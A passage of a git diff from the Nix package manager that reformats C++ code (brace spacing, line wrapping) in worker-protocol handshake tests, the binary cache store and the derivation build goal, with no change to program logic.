VERSIONED_CHARACTERIZATION_TEST( optionalStorePath, "optional-store-path", defaultVersion, - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - StorePath { "g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar" }, + std::optional{ + StorePath{"g1w7hy3qg1w7hy3qg1w7hy3qg1w7hy3q-foo-bar"}, }, })) @@ -598,10 +607,10 @@ VERSIONED_CHARACTERIZATION_TEST( optionalContentAddress, "optional-content-address", defaultVersion, - (std::tuple, std::optional> { + (std::tuple, std::optional>{ std::nullopt, - std::optional { - ContentAddress { + std::optional{ + ContentAddress{ .method = ContentAddressMethod::Raw::Flat, .hash = hashString(HashAlgorithm::SHA1, "blob blob..."), }, @@ -613,7 +622,7 @@ VERSIONED_CHARACTERIZATION_TEST( clientHandshakeInfo_1_30, "client-handshake-info_1_30", 1 << 8 | 30, - (std::tuple { + (std::tuple{ {}, })) @@ -622,12 +631,12 @@ VERSIONED_CHARACTERIZATION_TEST( clientHandshakeInfo_1_33, "client-handshake-info_1_33", 1 << 8 | 33, - (std::tuple { + (std::tuple{ { - .daemonNixVersion = std::optional { "foo" }, + .daemonNixVersion = std::optional{"foo"}, }, { - .daemonNixVersion = std::optional { "bar" }, + .daemonNixVersion = std::optional{"bar"}, }, })) @@ -636,14 +645,14 @@ VERSIONED_CHARACTERIZATION_TEST( clientHandshakeInfo_1_35, "client-handshake-info_1_35", 1 << 8 | 35, - (std::tuple { + (std::tuple{ { - .daemonNixVersion = std::optional { "foo" }, - .remoteTrustsUs = std::optional { NotTrusted }, + .daemonNixVersion = std::optional{"foo"}, + .remoteTrustsUs = std::optional{NotTrusted}, }, { - .daemonNixVersion = std::optional { "bar" }, - .remoteTrustsUs = std::optional { Trusted }, + .daemonNixVersion = std::optional{"bar"}, + .remoteTrustsUs = std::optional{Trusted}, }, })) @@ -659,18 +668,16 @@ TEST_F(WorkerProtoTest, handshake_log) WorkerProto::Version clientResult; auto thread = std::thread([&]() { - FdSink out { toServer.writeSide.get() }; - FdSource in0 { toClient.readSide.get() }; - TeeSource in { in0, toClientLog }; - clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( - out, in, defaultVersion, {})); + FdSink out{toServer.writeSide.get()}; + FdSource in0{toClient.readSide.get()}; + TeeSource in{in0, toClientLog}; + clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake(out, in, defaultVersion, {})); }); { - FdSink out { toClient.writeSide.get() }; - FdSource in { toServer.readSide.get() }; - WorkerProto::BasicServerConnection::handshake( - out, in, defaultVersion, {}); + FdSink out{toClient.writeSide.get()}; + FdSource in{toServer.readSide.get()}; + WorkerProto::BasicServerConnection::handshake(out, in, defaultVersion, {}); }; thread.join(); @@ -688,16 +695,14 @@ TEST_F(WorkerProtoTest, handshake_features) std::tuple> clientResult; auto clientThread = std::thread([&]() { - FdSink out { toServer.writeSide.get() }; - FdSource in { toClient.readSide.get() }; - clientResult = WorkerProto::BasicClientConnection::handshake( - out, in, 123, {"bar", "aap", "mies", "xyzzy"}); + FdSink out{toServer.writeSide.get()}; + FdSource in{toClient.readSide.get()}; + clientResult = WorkerProto::BasicClientConnection::handshake(out, in, 123, {"bar", "aap", "mies", "xyzzy"}); }); - FdSink out { toClient.writeSide.get() }; - FdSource in { toServer.readSide.get() }; - auto daemonResult = WorkerProto::BasicServerConnection::handshake( - out, in, 456, {"foo", "bar", "xyzzy"}); + FdSink out{toClient.writeSide.get()}; + FdSource in{toServer.readSide.get()}; + auto daemonResult = WorkerProto::BasicServerConnection::handshake(out, in, 456, {"foo", "bar", "xyzzy"}); clientThread.join(); @@ -707,8 +712,9 @@ TEST_F(WorkerProtoTest, handshake_features) } /// Has to be a `BufferedSink` for handshake. -struct NullBufferedSink : BufferedSink { - void writeUnbuffered(std::string_view data) override { } +struct NullBufferedSink : BufferedSink +{ + void writeUnbuffered(std::string_view data) override {} }; TEST_F(WorkerProtoTest, handshake_client_replay) @@ -716,9 +722,9 @@ TEST_F(WorkerProtoTest, handshake_client_replay) CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { NullBufferedSink nullSink; - StringSource in { toClientLog }; - auto clientResult = std::get<0>(WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, {})); + StringSource in{toClientLog}; + auto clientResult = + std::get<0>(WorkerProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, {})); EXPECT_EQ(clientResult, defaultVersion); }); @@ -752,23 +758,18 @@ TEST_F(WorkerProtoTest, handshake_client_corrupted_throws) ++toClientLogCorrupt[idx]; NullBufferedSink nullSink; - StringSource in { toClientLogCorrupt }; + StringSource in{toClientLogCorrupt}; if (idx < 4 || idx == 9) { // magic bytes don't match - EXPECT_THROW( - WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, {}), - Error); + EXPECT_THROW(WorkerProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, {}), Error); } else if (idx < 8 || idx >= 12) { // Number out of bounds EXPECT_THROW( - WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, {}), + WorkerProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, {}), SerialisationError); } else { - auto ver = std::get<0>(WorkerProto::BasicClientConnection::handshake( - nullSink, in, defaultVersion, {})); + auto ver = std::get<0>(WorkerProto::BasicClientConnection::handshake(nullSink, in, defaultVersion, {})); // `std::min` of this and the other version saves us EXPECT_EQ(ver, defaultVersion); } diff --git a/src/libstore/binary-cache-store.cc b/src/libstore/binary-cache-store.cc index 60bd68026..a3e05c35f 100644 --- a/src/libstore/binary-cache-store.cc +++ b/src/libstore/binary-cache-store.cc @@ -29,8 +29,7 @@ BinaryCacheStore::BinaryCacheStore(const Params & params) , Store(params) { if (secretKeyFile != "") - signer = std::make_unique( - SecretKey { readFile(secretKeyFile) }); + signer = std::make_unique(SecretKey{readFile(secretKeyFile)}); StringSink sink; sink << narVersionMagic1; @@ -45,13 +44,14 @@ void BinaryCacheStore::init() } else { for (auto & line : tokenizeString(*cacheInfo, "\n")) { size_t colon = line.find(':'); - if (colon == std::string::npos) continue; + if (colon == std::string::npos) + continue; auto name = line.substr(0, colon); auto value = trim(line.substr(colon + 1, std::string::npos)); if (name == "StoreDir") { if (value != storeDir) - throw Error("binary cache '%s' is for Nix stores with prefix '%s', not '%s'", - getUri(), value, storeDir); + throw Error( + "binary cache '%s' is for Nix stores with prefix '%s', not '%s'", getUri(), value, storeDir); } else if (name == "WantMassQuery") { wantMassQuery.setDefault(value == "1"); } else if (name == "Priority") { @@ -66,32 +66,30 @@ std::optional BinaryCacheStore::getNixCacheInfo() return getFile(cacheInfoFile); } -void BinaryCacheStore::upsertFile(const std::string & path, - std::string && data, - const std::string & mimeType) +void BinaryCacheStore::upsertFile(const std::string & path, std::string && data, const std::string & mimeType) { upsertFile(path, std::make_shared(std::move(data)), mimeType); } -void BinaryCacheStore::getFile(const std::string & path, - Callback> callback) noexcept +void BinaryCacheStore::getFile(const std::string & path, Callback> callback) noexcept { try { callback(getFile(path)); - } catch (...) { callback.rethrow(); } + } catch (...) { + callback.rethrow(); + } } void BinaryCacheStore::getFile(const std::string & path, Sink & sink) { std::promise> promise; - getFile(path, - {[&](std::future> result) { - try { - promise.set_value(result.get()); - } catch (...) { - promise.set_exception(std::current_exception()); - } - }}); + getFile(path, {[&](std::future> result) { + try { + promise.set_value(result.get()); + } catch (...) { + promise.set_exception(std::current_exception()); + } + }}); sink(*promise.get_future().get()); } @@ -120,8 +118,7 @@ void BinaryCacheStore::writeNarInfo(ref narInfo) { auto state_(state.lock()); state_->pathInfoCache.upsert( - std::string(narInfo->path.to_string()), - PathInfoCacheValue { .value = std::shared_ptr(narInfo) }); + std::string(narInfo->path.to_string()), PathInfoCacheValue{.value = std::shared_ptr(narInfo)}); } if (diskCache) @@ -129,8 +126,7 @@ void BinaryCacheStore::writeNarInfo(ref narInfo) } ref BinaryCacheStore::addToStoreCommon( - Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs, - std::function mkInfo) + Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs, std::function mkInfo) { auto [fdTemp, fnTemp] = createTempFile(); @@ -141,18 +137,19 @@ ref BinaryCacheStore::addToStoreCommon( /* Read the NAR simultaneously into a CompressionSink+FileSink (to write the compressed NAR to disk), into a HashSink (to get the NAR hash), and into a NarAccessor (to get the NAR listing). */ - HashSink fileHashSink { HashAlgorithm::SHA256 }; + HashSink fileHashSink{HashAlgorithm::SHA256}; std::shared_ptr narAccessor; - HashSink narHashSink { HashAlgorithm::SHA256 }; + HashSink narHashSink{HashAlgorithm::SHA256}; { - FdSink fileSink(fdTemp.get()); - TeeSink teeSinkCompressed { fileSink, fileHashSink }; - auto compressionSink = makeCompressionSink(compression, teeSinkCompressed, parallelCompression, compressionLevel); - TeeSink teeSinkUncompressed { *compressionSink, narHashSink }; - TeeSource teeSource { narSource, teeSinkUncompressed }; - narAccessor = makeNarAccessor(teeSource); - compressionSink->finish(); - fileSink.flush(); + FdSink fileSink(fdTemp.get()); + TeeSink teeSinkCompressed{fileSink, fileHashSink}; + auto compressionSink = + makeCompressionSink(compression, teeSinkCompressed, parallelCompression, compressionLevel); + TeeSink teeSinkUncompressed{*compressionSink, narHashSink}; + TeeSource teeSource{narSource, teeSinkUncompressed}; + narAccessor = makeNarAccessor(teeSource); + compressionSink->finish(); + fileSink.flush(); } auto now2 = std::chrono::steady_clock::now(); @@ -164,17 +161,20 @@ ref BinaryCacheStore::addToStoreCommon( narInfo->fileHash = fileHash; narInfo->fileSize = fileSize; narInfo->url = "nar/" + narInfo->fileHash->to_string(HashFormat::Nix32, false) + ".nar" - + (compression == "xz" ? ".xz" : - compression == "bzip2" ? ".bz2" : - compression == "zstd" ? ".zst" : - compression == "lzip" ? ".lzip" : - compression == "lz4" ? ".lz4" : - compression == "br" ? ".br" : - ""); + + (compression == "xz" ? ".xz" + : compression == "bzip2" ? ".bz2" + : compression == "zstd" ? ".zst" + : compression == "lzip" ? ".lzip" + : compression == "lz4" ? ".lz4" + : compression == "br" ? ".br" + : ""); auto duration = std::chrono::duration_cast(now2 - now1).count(); - printMsg(lvlTalkative, "copying path '%1%' (%2% bytes, compressed %3$.1f%% in %4% ms) to binary cache", - printStorePath(narInfo->path), info.narSize, + printMsg( + lvlTalkative, + "copying path '%1%' (%2% bytes, compressed %3$.1f%% in %4% ms) to binary cache", + printStorePath(narInfo->path), + info.narSize, ((1.0 - (double) fileSize / info.narSize) * 100.0), duration); @@ -185,8 +185,10 @@ ref BinaryCacheStore::addToStoreCommon( if (ref != info.path) queryPathInfo(ref); } catch (InvalidPath &) { - throw Error("cannot add '%s' to the binary cache because the reference '%s' is not valid", - printStorePath(info.path), printStorePath(ref)); + throw Error( + "cannot add '%s' to the binary cache because the reference '%s' is not valid", + printStorePath(info.path), + printStorePath(ref)); } /* Optionally write a JSON file containing a listing of the @@ -220,7 +222,8 @@ ref BinaryCacheStore::addToStoreCommon( // FIXME: or should we overwrite? The previous link may point // to a GC'ed file, so overwriting might be useful... - if (fileExists(key)) return; + if (fileExists(key)) + return; printMsg(lvlTalkative, "creating debuginfo link from '%s' to '%s'", key, target); @@ -233,15 +236,13 @@ ref BinaryCacheStore::addToStoreCommon( for (auto & [s1, _type] : narAccessor->readDirectory(buildIdDir)) { auto dir = buildIdDir / s1; - if (narAccessor->lstat(dir).type != SourceAccessor::tDirectory - || !std::regex_match(s1, regex1)) + if (narAccessor->lstat(dir).type != SourceAccessor::tDirectory || !std::regex_match(s1, regex1)) continue; for (auto & [s2, _type] : narAccessor->readDirectory(dir)) { auto debugPath = dir / s2; - if (narAccessor->lstat(debugPath).type != SourceAccessor::tRegular - || !std::regex_match(s2, regex2)) + if (narAccessor->lstat(debugPath).type != SourceAccessor::tRegular || !std::regex_match(s2, regex2)) continue; auto buildId = s1 + s2; @@ -260,7 +261,8 @@ ref BinaryCacheStore::addToStoreCommon( /* Atomically write the NAR file. */ if (repair || !fileExists(narInfo->url)) { stats.narWrite++; - upsertFile(narInfo->url, + upsertFile( + narInfo->url, std::make_shared(fnTemp, std::ios_base::in | std::ios_base::binary), "application/x-nix-nar"); } else @@ -271,7 +273,8 @@ ref BinaryCacheStore::addToStoreCommon( stats.narWriteCompressionTimeMs += duration; /* Atomically write the NAR info file.*/ - if (signer) narInfo->sign(*this, *signer); + if (signer) + narInfo->sign(*this, *signer); writeNarInfo(narInfo); @@ -280,8 +283,8 @@ ref BinaryCacheStore::addToStoreCommon( return narInfo; } -void BinaryCacheStore::addToStore(const ValidPathInfo & info, Source & narSource, - RepairFlag repair, CheckSigsFlag checkSigs) +void BinaryCacheStore::addToStore( + const ValidPathInfo & info, Source & narSource, RepairFlag repair, CheckSigsFlag checkSigs) { if (!repair && isValidPath(info.path)) { // FIXME: copyNAR -> null sink @@ -290,12 +293,12 @@ void BinaryCacheStore::addToStore(const ValidPathInfo & info, Source & narSource } addToStoreCommon(narSource, repair, checkSigs, {[&](HashResult nar) { - /* FIXME reinstate these, once we can correctly do hash modulo sink as - needed. We need to throw here in case we uploaded a corrupted store path. */ - // assert(info.narHash == nar.first); - // assert(info.narSize == nar.second); - return info; - }}); + /* FIXME reinstate these, once we can correctly do hash modulo sink as + needed. We need to throw here in case we uploaded a corrupted store path. */ + // assert(info.narHash == nar.first); + // assert(info.narSize == nar.second); + return info; + }}); } StorePath BinaryCacheStore::addToStoreFromDump( @@ -329,8 +332,7 @@ StorePath BinaryCacheStore::addToStoreFromDump( // The dump is already NAR in this case, just use it. nar = dump2.s; break; - case FileSerialisationMethod::Flat: - { + case FileSerialisationMethod::Flat: { // The dump is Flat, so we need to convert it to NAR with a // single file. StringSink s; @@ -345,30 +347,34 @@ StorePath BinaryCacheStore::addToStoreFromDump( if (dumpMethod != FileSerialisationMethod::NixArchive || hashAlgo != HashAlgorithm::SHA256) unsupported("addToStoreFromDump"); } - StringSource narDump { nar }; + StringSource narDump{nar}; // Use `narDump` if we wrote to `nar`. - Source & narDump2 = nar.size() > 0 - ? static_cast(narDump) - : dump; + Source & narDump2 = nar.size() > 0 ? static_cast(narDump) : dump; - return addToStoreCommon(narDump2, repair, CheckSigs, [&](HashResult nar) { - ValidPathInfo info { - *this, - name, - ContentAddressWithReferences::fromParts( - hashMethod, - caHash ? *caHash : nar.first, - { - .others = references, - // caller is not capable of creating a self-reference, because this is content-addressed without modulus - .self = false, - }), - nar.first, - }; - info.narSize = nar.second; - return info; - })->path; + return addToStoreCommon( + narDump2, + repair, + CheckSigs, + [&](HashResult nar) { + ValidPathInfo info{ + *this, + name, + ContentAddressWithReferences::fromParts( + hashMethod, + caHash ? *caHash : nar.first, + { + .others = references, + // caller is not capable of creating a self-reference, because this is content-addressed + // without modulus + .self = false, + }), + nar.first, + }; + info.narSize = nar.second; + return info; + }) + ->path; } bool BinaryCacheStore::isValidPathUncached(const StorePath & storePath) @@ -395,7 +401,7 @@ void BinaryCacheStore::narFromPath(const StorePath & storePath, Sink & sink) auto info = queryPathInfo(storePath).cast(); LengthSink narSize; - TeeSink tee { sink, narSize }; + TeeSink tee{sink, narSize}; auto decompressor = makeDecompressionSink(info->compression, tee); @@ -408,40 +414,44 @@ void BinaryCacheStore::narFromPath(const StorePath & storePath, Sink & sink) decompressor->finish(); stats.narRead++; - //stats.narReadCompressedBytes += nar->size(); // FIXME + // stats.narReadCompressedBytes += nar->size(); // FIXME stats.narReadBytes += narSize.length; } -void BinaryCacheStore::queryPathInfoUncached(const StorePath & storePath, - Callback> callback) noexcept +void BinaryCacheStore::queryPathInfoUncached( + const StorePath & storePath, Callback> callback) noexcept { auto uri = getUri(); auto storePathS = printStorePath(storePath); - auto act = std::make_shared(*logger, lvlTalkative, actQueryPathInfo, - fmt("querying info about '%s' on '%s'", storePathS, uri), Logger::Fields{storePathS, uri}); + auto act = std::make_shared( + *logger, + lvlTalkative, + actQueryPathInfo, + fmt("querying info about '%s' on '%s'", storePathS, uri), + Logger::Fields{storePathS, uri}); PushActivity pact(act->id); auto narInfoFile = narInfoFileFor(storePath); auto callbackPtr = std::make_shared(std::move(callback)); - getFile(narInfoFile, - {[=,this](std::future> fut) { - try { - auto data = fut.get(); + getFile(narInfoFile, {[=, this](std::future> fut) { + try { + auto data = fut.get(); - if (!data) return (*callbackPtr)({}); + if (!data) + return (*callbackPtr)({}); - stats.narInfoRead++; + stats.narInfoRead++; - (*callbackPtr)((std::shared_ptr) - std::make_shared(*this, *data, narInfoFile)); + (*callbackPtr)( + (std::shared_ptr) std::make_shared(*this, *data, narInfoFile)); - (void) act; // force Activity into this lambda to ensure it stays alive - } catch (...) { - callbackPtr->rethrow(); - } - }}); + (void) act; // force Activity into this lambda to ensure it stays alive + } catch (...) { + callbackPtr->rethrow(); + } + }}); } StorePath BinaryCacheStore::addToStore( @@ -459,54 +469,57 @@ StorePath BinaryCacheStore::addToStore( auto h = hashPath(path, method.getFileIngestionMethod(), hashAlgo, filter).first; - auto source = sinkToSource([&](Sink & sink) { - path.dumpPath(sink, filter); - }); - return addToStoreCommon(*source, repair, CheckSigs, [&](HashResult nar) { - ValidPathInfo info { - *this, - name, - ContentAddressWithReferences::fromParts( - method, - h, - { - .others = references, - // caller is not capable of creating a self-reference, because this is content-addressed without modulus - .self = false, - }), - nar.first, - }; - info.narSize = nar.second; - return info; - })->path; + auto source = sinkToSource([&](Sink & sink) { path.dumpPath(sink, filter); }); + return addToStoreCommon( + *source, + repair, + CheckSigs, + [&](HashResult nar) { + ValidPathInfo info{ + *this, + name, + ContentAddressWithReferences::fromParts( + method, + h, + { + .others = references, + // caller is not capable of creating a self-reference, because this is content-addressed + // without modulus + .self = false, + }), + nar.first, + }; + info.narSize = nar.second; + return info; + }) + ->path; } -void BinaryCacheStore::queryRealisationUncached(const DrvOutput & id, - Callback> callback) noexcept +void BinaryCacheStore::queryRealisationUncached( + const DrvOutput & id, Callback> callback) noexcept { auto outputInfoFilePath = realisationsPrefix + "/" + id.to_string() + ".doi"; auto callbackPtr = std::make_shared(std::move(callback)); - Callback> newCallback = { - [=](std::future> fut) { - try { - auto data = fut.get(); - if (!data) return (*callbackPtr)({}); + Callback> newCallback = {[=](std::future> fut) { + try { + auto data = fut.get(); + if (!data) + return (*callbackPtr)({}); - auto realisation = Realisation::fromJSON( - nlohmann::json::parse(*data), outputInfoFilePath); - return (*callbackPtr)(std::make_shared(realisation)); - } catch (...) { - callbackPtr->rethrow(); - } + auto realisation = Realisation::fromJSON(nlohmann::json::parse(*data), outputInfoFilePath); + return (*callbackPtr)(std::make_shared(realisation)); + } catch (...) { + callbackPtr->rethrow(); } - }; + }}; getFile(outputInfoFilePath, std::move(newCallback)); } -void BinaryCacheStore::registerDrvOutput(const Realisation& info) { +void BinaryCacheStore::registerDrvOutput(const Realisation & info) +{ if (diskCache) diskCache->upsertRealisation(getUri(), info); auto filePath = realisationsPrefix + "/" + info.id.to_string() + ".doi"; diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index 76456dac5..6d79c300b 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -36,26 +36,29 @@ namespace nix { -DerivationGoal::DerivationGoal(const StorePath & drvPath, - const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) +DerivationGoal::DerivationGoal( + const StorePath & drvPath, const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) : Goal(worker) , useDerivation(true) , drvPath(drvPath) , wantedOutputs(wantedOutputs) , buildMode(buildMode) { - name = fmt( - "building of '%s' from .drv file", - DerivedPath::Built { makeConstantStorePathRef(drvPath), wantedOutputs }.to_string(worker.store)); + name = + fmt("building of '%s' from .drv file", + DerivedPath::Built{makeConstantStorePathRef(drvPath), wantedOutputs}.to_string(worker.store)); trace("created"); mcExpectedBuilds = std::make_unique>(worker.expectedBuilds); worker.updateProgress(); } - -DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation & drv, - const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) +DerivationGoal::DerivationGoal( + const StorePath & drvPath, + const BasicDerivation & drv, + const OutputsSpec & wantedOutputs, + Worker & worker, + BuildMode buildMode) : Goal(worker) , useDerivation(false) , drvPath(drvPath) @@ -64,9 +67,9 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation { this->drv = std::make_unique(drv); - name = fmt( - "building of '%s' from in-memory derivation", - DerivedPath::Built { makeConstantStorePathRef(drvPath), drv.outputNames() }.to_string(worker.store)); + name = + fmt("building of '%s' from in-memory derivation", + DerivedPath::Built{makeConstantStorePathRef(drvPath), drv.outputNames()}.to_string(worker.store)); trace("created"); mcExpectedBuilds = std::make_unique>(worker.expectedBuilds); @@ -77,15 +80,17 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation worker.store.addTempRoot(this->drvPath); } - DerivationGoal::~DerivationGoal() { /* Careful: we should never ever throw an exception from a destructor. */ - try { closeLogFile(); } catch (...) { ignoreExceptionInDestructor(); } + try { + closeLogFile(); + } catch (...) { + ignoreExceptionInDestructor(); + } } - std::string DerivationGoal::key() { /* Ensure that derivations get built in order of their name, @@ -95,7 +100,6 @@ std::string DerivationGoal::key() return "b$" + std::string(drvPath.name()) + "$" + worker.store.printStorePath(drvPath); } - void DerivationGoal::killChild() { #ifndef _WIN32 // TODO enable build hook on Windows @@ -103,7 +107,6 @@ void DerivationGoal::killChild() #endif } - void DerivationGoal::timedOut(Error && ex) { killChild(); @@ -132,8 +135,8 @@ void DerivationGoal::addWantedOutputs(const OutputsSpec & outputs) wantedOutputs = newWanted; } - -Goal::Co DerivationGoal::init() { +Goal::Co DerivationGoal::init() +{ trace("init"); if (useDerivation) { @@ -149,7 +152,10 @@ Goal::Co DerivationGoal::init() { trace("loading derivation"); if (nrFailed != 0) { - co_return done(BuildResult::MiscFailure, {}, Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); + co_return done( + BuildResult::MiscFailure, + {}, + Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); } /* `drvPath' should already be a root, but let's be on the safe @@ -163,7 +169,7 @@ Goal::Co DerivationGoal::init() { - Dynamic derivations are built, and so are found in the main store. */ - for (auto * drvStore : { &worker.evalStore, &worker.store }) { + for (auto * drvStore : {&worker.evalStore, &worker.store}) { if (drvStore->isValidPath(drvPath)) { drv = std::make_unique(drvStore->readDerivation(drvPath)); break; @@ -175,7 +181,6 @@ Goal::Co DerivationGoal::init() { co_return haveDerivation(); } - Goal::Co DerivationGoal::haveDerivation() { trace("have derivation"); @@ -193,20 +198,20 @@ Goal::Co DerivationGoal::haveDerivation() { bool impure = drv->type().isImpure(); - if (impure) experimentalFeatureSettings.require(Xp::ImpureDerivations); + if (impure) + experimentalFeatureSettings.require(Xp::ImpureDerivations); auto outputHashes = staticOutputHashes(worker.evalStore, *drv); for (auto & [outputName, outputHash] : outputHashes) { InitialOutput v{ .wanted = true, // Will be refined later - .outputHash = outputHash - }; + .outputHash = outputHash}; /* TODO we might want to also allow randomizing the paths for regular CA derivations, e.g. for sake of checking determinism. */ if (impure) { - v.known = InitialOutputStatus { + v.known = InitialOutputStatus{ .path = StorePath::random(outputPathName(drv->name, outputName)), .status = PathStatus::Absent, }; @@ -242,22 +247,17 @@ Goal::Co DerivationGoal::haveDerivation() them. */ if (settings.useSubstitutes && drvOptions->substitutesAllowed()) for (auto & [outputName, status] : initialOutputs) { - if (!status.wanted) continue; + if (!status.wanted) + continue; if (!status.known) - waitees.insert( - upcast_goal( - worker.makeDrvOutputSubstitutionGoal( - DrvOutput{status.outputHash, outputName}, - buildMode == bmRepair ? Repair : NoRepair - ) - ) - ); + waitees.insert(upcast_goal(worker.makeDrvOutputSubstitutionGoal( + DrvOutput{status.outputHash, outputName}, buildMode == bmRepair ? Repair : NoRepair))); else { auto * cap = getDerivationCA(*drv); waitees.insert(upcast_goal(worker.makePathSubstitutionGoal( status.known->path, buildMode == bmRepair ? Repair : NoRepair, - cap ? std::optional { *cap } : std::nullopt))); + cap ? std::optional{*cap} : std::nullopt))); } } @@ -268,8 +268,11 @@ Goal::Co DerivationGoal::haveDerivation() assert(!drv->type().isImpure()); if (nrFailed > 0 && nrFailed > nrNoSubstituters + nrIncompleteClosure && !settings.tryFallback) { - co_return done(BuildResult::TransientFailure, {}, - Error("some substitutes for the outputs of derivation '%s' failed (usually happens due to networking issues); try '--fallback' to build derivation from source ", + co_return done( + BuildResult::TransientFailure, + {}, + Error( + "some substitutes for the outputs of derivation '%s' failed (usually happens due to networking issues); try '--fallback' to build derivation from source ", worker.store.printStorePath(drvPath))); } @@ -282,9 +285,7 @@ Goal::Co DerivationGoal::haveDerivation() an output of the current derivation, which causes a loop if retried. */ { - bool substitutionFailed = - nrIncompleteClosure > 0 && - nrIncompleteClosure == nrFailed; + bool substitutionFailed = nrIncompleteClosure > 0 && nrIncompleteClosure == nrFailed; switch (retrySubstitution) { case RetrySubstitution::NoNeed: if (substitutionFailed) @@ -316,26 +317,25 @@ Goal::Co DerivationGoal::haveDerivation() co_return repairClosure(); } if (buildMode == bmCheck && !allValid) - throw Error("some outputs of '%s' are not valid, so checking is not possible", - worker.store.printStorePath(drvPath)); + throw Error( + "some outputs of '%s' are not valid, so checking is not possible", worker.store.printStorePath(drvPath)); /* Nothing to wait for; tail call */ co_return gaveUpOnSubstitution(); } - /** * Used for `inputGoals` local variable below */ struct value_comparison { - template - bool operator()(const ref & lhs, const ref & rhs) const { + template + bool operator()(const ref & lhs, const ref & rhs) const + { return *lhs < *rhs; } }; - /* At least one of the output paths could not be produced using a substitute. So we have to build instead. */ Goal::Co DerivationGoal::gaveUpOnSubstitution() @@ -349,12 +349,14 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() std::map, GoalPtr, value_comparison> inputGoals; if (useDerivation) { - std::function, const DerivedPathMap::ChildNode &)> addWaiteeDerivedPath; + std::function, const DerivedPathMap::ChildNode &)> + addWaiteeDerivedPath; - addWaiteeDerivedPath = [&](ref inputDrv, const DerivedPathMap::ChildNode & inputNode) { + addWaiteeDerivedPath = [&](ref inputDrv, + const DerivedPathMap::ChildNode & inputNode) { if (!inputNode.value.empty()) { auto g = worker.makeGoal( - DerivedPath::Built { + DerivedPath::Built{ .drvPath = inputDrv, .outputs = inputNode.value, }, @@ -364,17 +366,18 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() } for (const auto & [outputName, childNode] : inputNode.childMap) addWaiteeDerivedPath( - make_ref(SingleDerivedPath::Built { inputDrv, outputName }), - childNode); + make_ref(SingleDerivedPath::Built{inputDrv, outputName}), childNode); }; for (const auto & [inputDrvPath, inputNode] : dynamic_cast(drv.get())->inputDrvs.map) { /* Ensure that pure, non-fixed-output derivations don't depend on impure derivations. */ - if (experimentalFeatureSettings.isEnabled(Xp::ImpureDerivations) && !drv->type().isImpure() && !drv->type().isFixed()) { + if (experimentalFeatureSettings.isEnabled(Xp::ImpureDerivations) && !drv->type().isImpure() + && !drv->type().isFixed()) { auto inputDrv = worker.evalStore.readDerivation(inputDrvPath); if (inputDrv.type().isImpure()) - throw Error("pure derivation '%s' depends on impure derivation '%s'", + throw Error( + "pure derivation '%s' depends on impure derivation '%s'", worker.store.printStorePath(drvPath), worker.store.printStorePath(inputDrvPath)); } @@ -397,24 +400,28 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() } for (auto & i : drv->inputSrcs) { - if (worker.store.isValidPath(i)) continue; + if (worker.store.isValidPath(i)) + continue; if (!settings.useSubstitutes) - throw Error("dependency '%s' of '%s' does not exist, and substitution is disabled", - worker.store.printStorePath(i), worker.store.printStorePath(drvPath)); + throw Error( + "dependency '%s' of '%s' does not exist, and substitution is disabled", + worker.store.printStorePath(i), + worker.store.printStorePath(drvPath)); waitees.insert(upcast_goal(worker.makePathSubstitutionGoal(i))); } co_await await(std::move(waitees)); - trace("all inputs realised"); if (nrFailed != 0) { if (!useDerivation) throw Error("some dependencies of '%s' are missing", worker.store.printStorePath(drvPath)); - co_return done(BuildResult::DependencyFailed, {}, Error( - "%s dependencies of derivation '%s' failed to build", - nrFailed, worker.store.printStorePath(drvPath))); + co_return done( + BuildResult::DependencyFailed, + {}, + Error( + "%s dependencies of derivation '%s' failed to build", nrFailed, worker.store.printStorePath(drvPath))); } if (retrySubstitution == RetrySubstitution::YesNeed) { @@ -432,30 +439,29 @@ Goal::Co DerivationGoal::gaveUpOnSubstitution() auto & fullDrv = *dynamic_cast(drv.get()); auto drvType = fullDrv.type(); - bool resolveDrv = std::visit(overloaded { - [&](const DerivationType::InputAddressed & ia) { - /* must resolve if deferred. */ - return ia.deferred; - }, - [&](const DerivationType::ContentAddressed & ca) { - return !fullDrv.inputDrvs.map.empty() && ( - ca.fixed - /* Can optionally resolve if fixed, which is good - for avoiding unnecessary rebuilds. */ - ? experimentalFeatureSettings.isEnabled(Xp::CaDerivations) - /* Must resolve if floating and there are any inputs - drvs. */ - : true); - }, - [&](const DerivationType::Impure &) { - return true; - } - }, drvType.raw) + bool resolveDrv = + std::visit( + overloaded{ + [&](const DerivationType::InputAddressed & ia) { + /* must resolve if deferred. */ + return ia.deferred; + }, + [&](const DerivationType::ContentAddressed & ca) { + return !fullDrv.inputDrvs.map.empty() + && (ca.fixed + /* Can optionally resolve if fixed, which is good + for avoiding unnecessary rebuilds. */ + ? experimentalFeatureSettings.isEnabled(Xp::CaDerivations) + /* Must resolve if floating and there are any inputs + drvs. */ + : true); + }, + [&](const DerivationType::Impure &) { return true; }}, + drvType.raw) /* no inputs are outputs of dynamic derivations */ - || std::ranges::any_of( - fullDrv.inputDrvs.map.begin(), - fullDrv.inputDrvs.map.end(), 